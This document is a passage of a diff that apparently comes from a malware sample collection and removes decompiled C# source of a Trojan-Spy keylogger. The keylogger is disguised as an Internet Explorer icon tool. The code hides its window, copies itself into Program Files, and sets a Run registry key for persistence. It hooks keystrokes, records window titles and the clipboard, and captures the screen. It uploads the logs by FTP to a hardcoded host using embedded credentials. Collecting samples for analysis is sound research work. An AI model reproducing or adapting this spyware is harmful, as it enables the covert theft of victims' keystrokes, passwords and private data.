private const int fsBaOXggJJx = 13369376;
private static int oTigSPnRdwg;
private static int VrSyKgXrYQA;
[DllImport("gdi32", EntryPoint = "CreateDCA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int iBDFNfOUBvr(
[MarshalAs(UnmanagedType.VBByRefStr)] ref string ApfUzWXEVJc,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string JTbrezvzIab,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string oBhrFKfGANg,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string nXCQZTvFHZo);
[DllImport("GDI32", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int JOXDJJmHRpj(int nZAxBQNbJjy);
[DllImport("GDI32", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int ATSFJCrDdhr(int nZAxBQNbJjy, int XNgElssiYTS, int ysInhDjBcGF);
[DllImport("gdi32", EntryPoint = "GetDeviceCaps", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int YzTOTtDtokb(int nZAxBQNbJjy, int vSrZfrJeiPg);
[DllImport("GDI32", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int DsdQUYuVxlr(int nZAxBQNbJjy, int ZQcCfRrFnEx);
[DllImport("GDI32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int oHdskvHibDT(
int JhtUQLlIpXz,
int FpQeJDjvWwO,
int ByJrBNLLapB,
int LZiogekZfLD,
int yFFsuUtUnVa,
int jYfjywVHvnn,
int ScKxxfdtGFk,
int vNLQDloXWGU,
int lBzjdJZuXUZ);
[DllImport("GDI32", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int JkEDoGvEtrD(int nZAxBQNbJjy);
[DllImport("GDI32", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int NwOVixQZpDO(int drXQPtwVsZb);
public static void bDDtTQGvBoP()
{
string str1 = "DISPLAY";
ref string local1 = ref str1;
string str2 = "";
ref string local2 = ref str2;
string str3 = "";
ref string local3 = ref str3;
string str4 = "";
ref string local4 = ref str4;
int num1 = urEVdlZmdSt.iBDFNfOUBvr(ref local1, ref local2, ref local3, ref local4);
int num2 = urEVdlZmdSt.JOXDJJmHRpj(num1);
urEVdlZmdSt.oTigSPnRdwg = urEVdlZmdSt.YzTOTtDtokb(num1, 8);
urEVdlZmdSt.VrSyKgXrYQA = urEVdlZmdSt.YzTOTtDtokb(num1, 10);
int ZQcCfRrFnEx1 = urEVdlZmdSt.ATSFJCrDdhr(num1, urEVdlZmdSt.oTigSPnRdwg, urEVdlZmdSt.VrSyKgXrYQA);
int ZQcCfRrFnEx2 = urEVdlZmdSt.DsdQUYuVxlr(num2, ZQcCfRrFnEx1);
int num3 = urEVdlZmdSt.oHdskvHibDT(num2, 0, 0, urEVdlZmdSt.oTigSPnRdwg, urEVdlZmdSt.VrSyKgXrYQA, num1, 0, 0, 13369376);
int drXQPtwVsZb = urEVdlZmdSt.DsdQUYuVxlr(num2, ZQcCfRrFnEx2);
num3 = urEVdlZmdSt.JkEDoGvEtrD(num1);
num3 = urEVdlZmdSt.JkEDoGvEtrD(num2);
urEVdlZmdSt.phJSglASvYa = Image.FromHbitmap(new IntPtr(drXQPtwVsZb));
urEVdlZmdSt.NwOVixQZpDO(drXQPtwVsZb);
}
}

13
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/AssemblyInfo.cs
View File

@ -1,13 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyProduct("John Wayne Saprihres")]
[assembly: AssemblyCopyright("Copyright © AMD LTS Studios")]
[assembly: AssemblyDescription("İntnet Explorer Kullanıcısına Kolaylıks")]
[assembly: AssemblyTitle("İnternet Explororer İnconss")]
[assembly: AssemblyCompany("AMD LTS Studios")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: Guid("e2c842b7-8e4b-4fd4-a1a0-bb0fd7bab154")]
[assembly: ComVisible(false)]
[assembly: AssemblyTrademark("John Wayne Saprihre")]
[assembly: AssemblyVersion("1.0.0.0")]

910
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.cs
View File

@ -1,910 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.Form1
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using İnternet_Explororer_İncons.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace İnternet_Explororer_İncons
{
[DesignerGenerated]
public class Form1 : Form
{
private static List<WeakReference> __ENCList = new List<WeakReference>();
private IContainer components;
[AccessedThroughProperty("TextBox1")]
private TextBox _TextBox1;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("Label2")]
private Label _Label2;
[AccessedThroughProperty("GroupBox1")]
private GroupBox _GroupBox1;
[AccessedThroughProperty("Label3")]
private Label _Label3;
[AccessedThroughProperty("GroupBox2")]
private GroupBox _GroupBox2;
[AccessedThroughProperty("Label4")]
private Label _Label4;
[AccessedThroughProperty("GroupBox3")]
private GroupBox _GroupBox3;
[AccessedThroughProperty("Timer1")]
private Timer _Timer1;
[AccessedThroughProperty("Timer2")]
private Timer _Timer2;
[AccessedThroughProperty("GroupBox4")]
private GroupBox _GroupBox4;
[AccessedThroughProperty("TextBox2")]
private TextBox _TextBox2;
[AccessedThroughProperty("GroupBox5")]
private GroupBox _GroupBox5;
[AccessedThroughProperty("Label6")]
private Label _Label6;
[AccessedThroughProperty("Label5")]
private Label _Label5;
[AccessedThroughProperty("Label7")]
private Label _Label7;
[AccessedThroughProperty("Label8")]
private Label _Label8;
[AccessedThroughProperty("GroupBox6")]
private GroupBox _GroupBox6;
[AccessedThroughProperty("K")]
private Keyboard _K;
private string strin;
private const short VK_SNAPSHOT = 44;
[DebuggerNonUserCode]
static Form1()
{
}
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
Form1.__ENCAddToList((object) this);
this.K = new Keyboard();
this.strin = (string) null;
this.InitializeComponent();
}
[DebuggerNonUserCode]
private static void __ENCAddToList(object value)
{
lock (Form1.__ENCList)
{
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
{
int index1 = 0;
int num = checked (Form1.__ENCList.Count - 1);
int index2 = 0;
while (index2 <= num)
{
if (Form1.__ENCList[index2].IsAlive)
{
if (index2 != index1)
Form1.__ENCList[index1] = Form1.__ENCList[index2];
checked { ++index1; }
}
checked { ++index2; }
}
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
}
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
}
}
[STAThread]
public static void Main() => Application.Run((Form) MyProject.Forms.Form1);
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
this.TextBox1 = new TextBox();
this.Label1 = new Label();
this.Label2 = new Label();
this.GroupBox1 = new GroupBox();
this.Label3 = new Label();
this.GroupBox2 = new GroupBox();
this.Label4 = new Label();
this.GroupBox3 = new GroupBox();
this.Timer1 = new Timer(this.components);
this.Timer2 = new Timer(this.components);
this.GroupBox4 = new GroupBox();
this.TextBox2 = new TextBox();
this.GroupBox5 = new GroupBox();
this.Label6 = new Label();
this.Label5 = new Label();
this.Label7 = new Label();
this.Label8 = new Label();
this.GroupBox6 = new GroupBox();
this.GroupBox1.SuspendLayout();
this.GroupBox2.SuspendLayout();
this.GroupBox3.SuspendLayout();
this.GroupBox4.SuspendLayout();
this.GroupBox5.SuspendLayout();
this.GroupBox6.SuspendLayout();
this.SuspendLayout();
this.TextBox1.Enabled = false;
TextBox textBox1_1 = this.TextBox1;
Point point1 = new Point(3, 11);
Point point2 = point1;
textBox1_1.Location = point2;
TextBox textBox1_2 = this.TextBox1;
Padding padding1 = new Padding(4);
Padding padding2 = padding1;
textBox1_2.Margin = padding2;
this.TextBox1.Multiline = true;
this.TextBox1.Name = "TextBox1";
TextBox textBox1_3 = this.TextBox1;
Size size1 = new Size(12, 11);
Size size2 = size1;
textBox1_3.Size = size2;
this.TextBox1.TabIndex = 0;
this.Label1.AutoSize = true;
this.Label1.ForeColor = Color.Maroon;
Label label1_1 = this.Label1;
point1 = new Point(579, 25);
Point point3 = point1;
label1_1.Location = point3;
Label label1_2 = this.Label1;
padding1 = new Padding(4, 0, 4, 0);
Padding padding3 = padding1;
label1_2.Margin = padding3;
this.Label1.Name = "Label1";
Label label1_3 = this.Label1;
size1 = new Size(63, 68);
Size size3 = size1;
label1_3.Size = size3;
this.Label1.TabIndex = 1;
this.Label1.Text = "</td>\r\n</tr>\r\n</tbody>\r\n</table>";
this.Label2.AutoSize = true;
this.Label2.ForeColor = Color.Maroon;
Label label2_1 = this.Label2;
point1 = new Point(15, 25);
Point point4 = point1;
label2_1.Location = point4;
Label label2_2 = this.Label2;
padding1 = new Padding(4, 0, 4, 0);
Padding padding4 = padding1;
label2_2.Margin = padding4;
this.Label2.Name = "Label2";
Label label2_3 = this.Label2;
size1 = new Size(522, 68);
Size size4 = size1;
label2_3.Size = size4;
this.Label2.TabIndex = 2;
this.Label2.Text = "<table width=\"900\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"bgcolor=#0B79AD>\r\n<tbody>\r\n<tr>\r\n<td>";
this.GroupBox1.Controls.Add((Control) this.Label2);
this.GroupBox1.Controls.Add((Control) this.Label1);
GroupBox groupBox1_1 = this.GroupBox1;
point1 = new Point(273, 34);
Point point5 = point1;
groupBox1_1.Location = point5;
GroupBox groupBox1_2 = this.GroupBox1;
padding1 = new Padding(4);
Padding padding5 = padding1;
groupBox1_2.Margin = padding5;
this.GroupBox1.Name = "GroupBox1";
GroupBox groupBox1_3 = this.GroupBox1;
padding1 = new Padding(4);
Padding padding6 = padding1;
groupBox1_3.Padding = padding6;
GroupBox groupBox1_4 = this.GroupBox1;
size1 = new Size(161, 16);
Size size5 = size1;
groupBox1_4.Size = size5;
this.GroupBox1.TabIndex = 3;
this.GroupBox1.TabStop = false;
this.GroupBox1.Text = "Tablo HTML Kodu:";
this.Label3.AutoSize = true;
this.Label3.BackColor = Color.Transparent;
this.Label3.ForeColor = Color.Maroon;
Label label3_1 = this.Label3;
point1 = new Point(5, 27);
Point point6 = point1;
label3_1.Location = point6;
Label label3_2 = this.Label3;
padding1 = new Padding(4, 0, 4, 0);
Padding padding7 = padding1;
label3_2.Margin = padding7;
this.Label3.Name = "Label3";
Label label3_3 = this.Label3;
size1 = new Size(475, 119);
Size size6 = size1;
label3_3.Size = size6;
this.Label3.TabIndex = 4;
this.Label3.Text = componentResourceManager.GetString("Label3.Text");
this.GroupBox2.Controls.Add((Control) this.Label3);
GroupBox groupBox2_1 = this.GroupBox2;
point1 = new Point(273, 11);
Point point7 = point1;
groupBox2_1.Location = point7;
GroupBox groupBox2_2 = this.GroupBox2;
padding1 = new Padding(4);
Padding padding8 = padding1;
groupBox2_2.Margin = padding8;
this.GroupBox2.Name = "GroupBox2";
GroupBox groupBox2_3 = this.GroupBox2;
padding1 = new Padding(4);
Padding padding9 = padding1;
groupBox2_3.Padding = padding9;
GroupBox groupBox2_4 = this.GroupBox2;
size1 = new Size(137, 18);
Size size7 = size1;
groupBox2_4.Size = size7;
this.GroupBox2.TabIndex = 5;
this.GroupBox2.TabStop = false;
this.GroupBox2.Text = "HTML Başlangıç Kodu";
this.Label4.AutoSize = true;
Label label4_1 = this.Label4;
point1 = new Point(75, 32);
Point point8 = point1;
label4_1.Location = point8;
Label label4_2 = this.Label4;
padding1 = new Padding(4, 0, 4, 0);
Padding padding10 = padding1;
label4_2.Margin = padding10;
this.Label4.Name = "Label4";
Label label4_3 = this.Label4;
size1 = new Size(51, 17);
Size size8 = size1;
label4_3.Size = size8;
this.Label4.TabIndex = 6;
this.Label4.Text = "Label4";
this.GroupBox3.Controls.Add((Control) this.Label4);
GroupBox groupBox3_1 = this.GroupBox3;
point1 = new Point(273, 59);
Point point9 = point1;
groupBox3_1.Location = point9;
GroupBox groupBox3_2 = this.GroupBox3;
padding1 = new Padding(4);
Padding padding11 = padding1;
groupBox3_2.Margin = padding11;
this.GroupBox3.Name = "GroupBox3";
GroupBox groupBox3_3 = this.GroupBox3;
padding1 = new Padding(4);
Padding padding12 = padding1;
groupBox3_3.Padding = padding12;
GroupBox groupBox3_4 = this.GroupBox3;
size1 = new Size(116, 21);
Size size9 = size1;
groupBox3_4.Size = size9;
this.GroupBox3.TabIndex = 7;
this.GroupBox3.TabStop = false;
this.GroupBox3.Text = "Bilgisayar Adı";
this.Timer1.Enabled = true;
this.Timer1.Interval = 900000;
this.Timer2.Enabled = true;
this.GroupBox4.Controls.Add((Control) this.TextBox2);
GroupBox groupBox4_1 = this.GroupBox4;
point1 = new Point(273, 87);
Point point10 = point1;
groupBox4_1.Location = point10;
GroupBox groupBox4_2 = this.GroupBox4;
padding1 = new Padding(4);
Padding padding13 = padding1;
groupBox4_2.Margin = padding13;
this.GroupBox4.Name = "GroupBox4";
GroupBox groupBox4_3 = this.GroupBox4;
padding1 = new Padding(4);
Padding padding14 = padding1;
groupBox4_3.Padding = padding14;
GroupBox groupBox4_4 = this.GroupBox4;
size1 = new Size(137, 20);
Size size10 = size1;
groupBox4_4.Size = size10;
this.GroupBox4.TabIndex = 9;
this.GroupBox4.TabStop = false;
this.GroupBox4.Text = "Kopyala Yapıştır";
this.TextBox2.Enabled = false;
TextBox textBox2_1 = this.TextBox2;
point1 = new Point(31, 26);
Point point11 = point1;
textBox2_1.Location = point11;
TextBox textBox2_2 = this.TextBox2;
padding1 = new Padding(4);
Padding padding15 = padding1;
textBox2_2.Margin = padding15;
this.TextBox2.Name = "TextBox2";
TextBox textBox2_3 = this.TextBox2;
size1 = new Size(284, 22);
Size size11 = size1;
textBox2_3.Size = size11;
this.TextBox2.TabIndex = 0;
this.GroupBox5.Controls.Add((Control) this.Label6);
this.GroupBox5.Controls.Add((Control) this.Label5);
GroupBox groupBox5_1 = this.GroupBox5;
point1 = new Point(273, 114);
Point point12 = point1;
groupBox5_1.Location = point12;
GroupBox groupBox5_2 = this.GroupBox5;
padding1 = new Padding(4);
Padding padding16 = padding1;
groupBox5_2.Margin = padding16;
this.GroupBox5.Name = "GroupBox5";
GroupBox groupBox5_3 = this.GroupBox5;
padding1 = new Padding(4);
Padding padding17 = padding1;
groupBox5_3.Padding = padding17;
GroupBox groupBox5_4 = this.GroupBox5;
size1 = new Size(151, 16);
Size size12 = size1;
groupBox5_4.Size = size12;
this.GroupBox5.TabIndex = 1;
this.GroupBox5.TabStop = false;
this.GroupBox5.Text = "Kopyala Yapıştır Renk";
this.Label6.AutoSize = true;
this.Label6.ForeColor = Color.Maroon;
Label label6_1 = this.Label6;
point1 = new Point(239, 48);
Point point13 = point1;
label6_1.Location = point13;
Label label6_2 = this.Label6;
padding1 = new Padding(4, 0, 4, 0);
Padding padding18 = padding1;
label6_2.Margin = padding18;
this.Label6.Name = "Label6";
Label label6_3 = this.Label6;
size1 = new Size(52, 17);
Size size13 = size1;
label6_3.Size = size13;
this.Label6.TabIndex = 1;
this.Label6.Text = "</font>";
this.Label5.AutoSize = true;
this.Label5.ForeColor = Color.Maroon;
Label label5_1 = this.Label5;
point1 = new Point(31, 48);
Point point14 = point1;
label5_1.Location = point14;
Label label5_2 = this.Label5;
padding1 = new Padding(4, 0, 4, 0);
Padding padding19 = padding1;
label5_2.Margin = padding19;
this.Label5.Name = "Label5";
Label label5_3 = this.Label5;
size1 = new Size(155, 17);
Size size14 = size1;
label5_3.Size = size14;
this.Label5.TabIndex = 0;
this.Label5.Text = "<font color=\"#cc3333\">";
this.Label7.AutoSize = true;
Label label7_1 = this.Label7;
point1 = new Point(12, 23);
Point point15 = point1;
label7_1.Location = point15;
Label label7_2 = this.Label7;
padding1 = new Padding(4, 0, 4, 0);
Padding padding20 = padding1;
label7_2.Margin = padding20;
this.Label7.Name = "Label7";
Label label7_3 = this.Label7;
size1 = new Size(64, 17);
Size size15 = size1;
label7_3.Size = size15;
this.Label7.TabIndex = 10;
this.Label7.Text = "<strong>";
this.Label8.AutoSize = true;
Label label8_1 = this.Label8;
point1 = new Point(72, 23);
Point point16 = point1;
label8_1.Location = point16;
Label label8_2 = this.Label8;
padding1 = new Padding(4, 0, 4, 0);
Padding padding21 = padding1;
label8_2.Margin = padding21;
this.Label8.Name = "Label8";
Label label8_3 = this.Label8;
size1 = new Size(68, 17);
Size size16 = size1;
label8_3.Size = size16;
this.Label8.TabIndex = 11;
this.Label8.Text = "</strong>";
this.GroupBox6.Controls.Add((Control) this.Label8);
this.GroupBox6.Controls.Add((Control) this.Label7);
GroupBox groupBox6_1 = this.GroupBox6;
point1 = new Point(283, 145);
Point point17 = point1;
groupBox6_1.Location = point17;
GroupBox groupBox6_2 = this.GroupBox6;
padding1 = new Padding(4);
Padding padding22 = padding1;
groupBox6_2.Margin = padding22;
this.GroupBox6.Name = "GroupBox6";
GroupBox groupBox6_3 = this.GroupBox6;
padding1 = new Padding(4);
Padding padding23 = padding1;
groupBox6_3.Padding = padding23;
GroupBox groupBox6_4 = this.GroupBox6;
size1 = new Size(141, 18);
Size size17 = size1;
groupBox6_4.Size = size17;
this.GroupBox6.TabIndex = 12;
this.GroupBox6.TabStop = false;
this.GroupBox6.Text = "Kalın Yaız";
this.AutoScaleDimensions = new SizeF(8f, 16f);
this.AutoScaleMode = AutoScaleMode.Font;
size1 = new Size(1, 1);
this.ClientSize = size1;
this.Controls.Add((Control) this.GroupBox6);
this.Controls.Add((Control) this.GroupBox5);
this.Controls.Add((Control) this.GroupBox1);
this.Controls.Add((Control) this.GroupBox2);
this.Controls.Add((Control) this.GroupBox4);
this.Controls.Add((Control) this.GroupBox3);
this.Controls.Add((Control) this.TextBox1);
this.FormBorderStyle = FormBorderStyle.None;
padding1 = new Padding(4);
this.Margin = padding1;
size1 = new Size(1, 1);
this.MaximumSize = size1;
size1 = new Size(1, 1);
this.MinimumSize = size1;
this.Name = nameof (Form1);
this.Text = "İnternet Explorer İcons Change";
this.GroupBox1.ResumeLayout(false);
this.GroupBox1.PerformLayout();
this.GroupBox2.ResumeLayout(false);
this.GroupBox2.PerformLayout();
this.GroupBox3.ResumeLayout(false);
this.GroupBox3.PerformLayout();
this.GroupBox4.ResumeLayout(false);
this.GroupBox4.PerformLayout();
this.GroupBox5.ResumeLayout(false);
this.GroupBox5.PerformLayout();
this.GroupBox6.ResumeLayout(false);
this.GroupBox6.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual TextBox TextBox1
{
[DebuggerNonUserCode] get => this._TextBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
}
internal virtual Label Label1
{
[DebuggerNonUserCode] get => this._Label1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
}
internal virtual Label Label2
{
[DebuggerNonUserCode] get => this._Label2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
}
internal virtual GroupBox GroupBox1
{
[DebuggerNonUserCode] get => this._GroupBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value;
}
internal virtual Label Label3
{
[DebuggerNonUserCode] get => this._Label3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
}
internal virtual GroupBox GroupBox2
{
[DebuggerNonUserCode] get => this._GroupBox2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value;
}
internal virtual Label Label4
{
[DebuggerNonUserCode] get => this._Label4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
}
internal virtual GroupBox GroupBox3
{
[DebuggerNonUserCode] get => this._GroupBox3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox3 = value;
}
internal virtual Timer Timer1
{
[DebuggerNonUserCode] get => this._Timer1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
if (this._Timer1 != null)
this._Timer1.Tick -= eventHandler;
this._Timer1 = value;
if (this._Timer1 == null)
return;
this._Timer1.Tick += eventHandler;
}
}
internal virtual Timer Timer2
{
[DebuggerNonUserCode] get => this._Timer2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
if (this._Timer2 != null)
this._Timer2.Tick -= eventHandler;
this._Timer2 = value;
if (this._Timer2 == null)
return;
this._Timer2.Tick += eventHandler;
}
}
internal virtual GroupBox GroupBox4
{
[DebuggerNonUserCode] get => this._GroupBox4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox4 = value;
}
internal virtual TextBox TextBox2
{
[DebuggerNonUserCode] get => this._TextBox2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.TextBox2_TextChanged);
if (this._TextBox2 != null)
this._TextBox2.TextChanged -= eventHandler;
this._TextBox2 = value;
if (this._TextBox2 == null)
return;
this._TextBox2.TextChanged += eventHandler;
}
}
internal virtual GroupBox GroupBox5
{
[DebuggerNonUserCode] get => this._GroupBox5;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox5 = value;
}
internal virtual Label Label6
{
[DebuggerNonUserCode] get => this._Label6;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value;
}
internal virtual Label Label5
{
[DebuggerNonUserCode] get => this._Label5;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value;
}
internal virtual Label Label7
{
[DebuggerNonUserCode] get => this._Label7;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value;
}
internal virtual Label Label8
{
[DebuggerNonUserCode] get => this._Label8;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label8 = value;
}
internal virtual GroupBox GroupBox6
{
[DebuggerNonUserCode] get => this._GroupBox6;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox6 = value;
}
private virtual Keyboard K
{
[DebuggerNonUserCode] get => this._K;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
Keyboard.DownEventHandler downEventHandler = new Keyboard.DownEventHandler(this.K_Down);
if (this._K != null)
Keyboard.Down -= downEventHandler;
this._K = value;
if (this._K == null)
return;
Keyboard.Down += downEventHandler;
}
}
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int GetForegroundWindow();
[DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch);
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int GetKeyState(long keys);
private void Form1_Load(object sender, EventArgs e)
{
this.ProgramKontrol();
this.BilgisayarismiHTML();
this.Gizle();
this.Baslangıcaekle();
this.K.CreateHook();
}
private string GetActiveWindowTitle()
{
string lpString = new string(char.MinValue, 100);
Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100);
return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1));
}
private void K_Down(string key)
{
if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) != 0)
{
this.TextBox1.Text = this.TextBox1.Text + "\r\n" + this.Label2.Text + "<h4>" + this.GetActiveWindowTitle() + "</h4>" + this.Label1.Text + "\r\n";
this.strin = this.GetActiveWindowTitle();
}
this.TextBox1.Text += key;
}
public void BilgisayarismiHTML()
{
this.TextBox1.Text = this.Label3.Text;
this.Label4.Text = MyProject.Computer.Name + Conversions.ToString(DateAndTime.TimeOfDay.Second) + Conversions.ToString(DateAndTime.TimeOfDay.Minute);
}
public void Gizle()
{
this.Hide();
this.ShowInTaskbar = false;
this.Opacity = 0.0;
}
public void Baslangıcaekle()
{
string destinationFileName = "C:\\Program Files\\ChromeToolbarsicn.exe";
if (!File.Exists("C:\\Program Files\\ChromeToolbarsicn.exe"))
Microsoft.VisualBasic.FileIO.FileSystem.CopyFile(Application.ExecutablePath, destinationFileName, true);
MyProject.Computer.Registry.SetValue("HKEY_lOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "GoogleChromeİcon", (object) destinationFileName);
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
public void ProgramKontrol()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
string moduleName = Process.GetCurrentProcess().MainModule.ModuleName;
label_3:
num3 = 3;
string withoutExtension = Path.GetFileNameWithoutExtension(moduleName);
label_4:
num3 = 4;
Process[] processesByName = Process.GetProcessesByName(withoutExtension);
label_5:
num3 = 5;
if (processesByName.Length > 1)
ProjectData.EndApp();
label_7:
goto label_14;
label_9:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
case 7:
goto label_7;
case 8:
goto label_14;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_9;
}
throw ProjectData.CreateProjectError(-2146828237);
label_14:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void Upload()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 2;
label_2:
int num3 = 2;
MyProject.Computer.Network.UploadFile("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", "ftp://srreal88.sr.funpic.org/resim/" + this.Label4.Text + ".html", "srreal_903428", "1q2w3eaq1");
label_3:
label_4:
ProjectData.ClearProjectError();
num1 = -2;
label_5:
num3 = 4;
MyProject.Computer.Network.UploadFile("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", "ftp://srreal88.sr.funpic.org/resim/" + this.Label4.Text + ".html", "srreal_903428", "1q2w3eaq1");
goto label_12;
label_7:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_4;
case 4:
goto label_5;
case 5:
goto label_12;
}
break;
case 2:
goto label_3;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_7;
}
throw ProjectData.CreateProjectError(-2146828237);
label_12:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void yazdırdosya()
{
StreamWriter streamWriter = MyProject.Computer.FileSystem.OpenTextFileWriter("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", true);
streamWriter.WriteLine(this.TextBox1.Text);
streamWriter.Close();
streamWriter.Dispose();
}
private void Timer2_Tick(object sender, EventArgs e) => this.TextBox2.Text = Clipboard.GetText();
private void TextBox2_TextChanged(object sender, EventArgs e) => this.TextBox1.Text = this.TextBox1.Text + this.Label5.Text + this.TextBox2.Text + this.Label6.Text;
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private void Timer1_Tick(object sender, EventArgs e)
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.TextBox1.Text += "</html>";
label_3:
num3 = 3;
this.K.DiposeHook();
label_4:
num3 = 4;
this.yazdırdosya();
label_5:
num3 = 5;
this.Upload();
label_6:
num3 = 6;
Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html");
label_7:
num3 = 7;
this.Label4.Text += "1";
label_8:
num3 = 8;
this.TextBox1.Text = this.Label3.Text;
label_9:
num3 = 9;
this.K.CreateHook();
goto label_16;
label_11:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
goto label_9;
case 10:
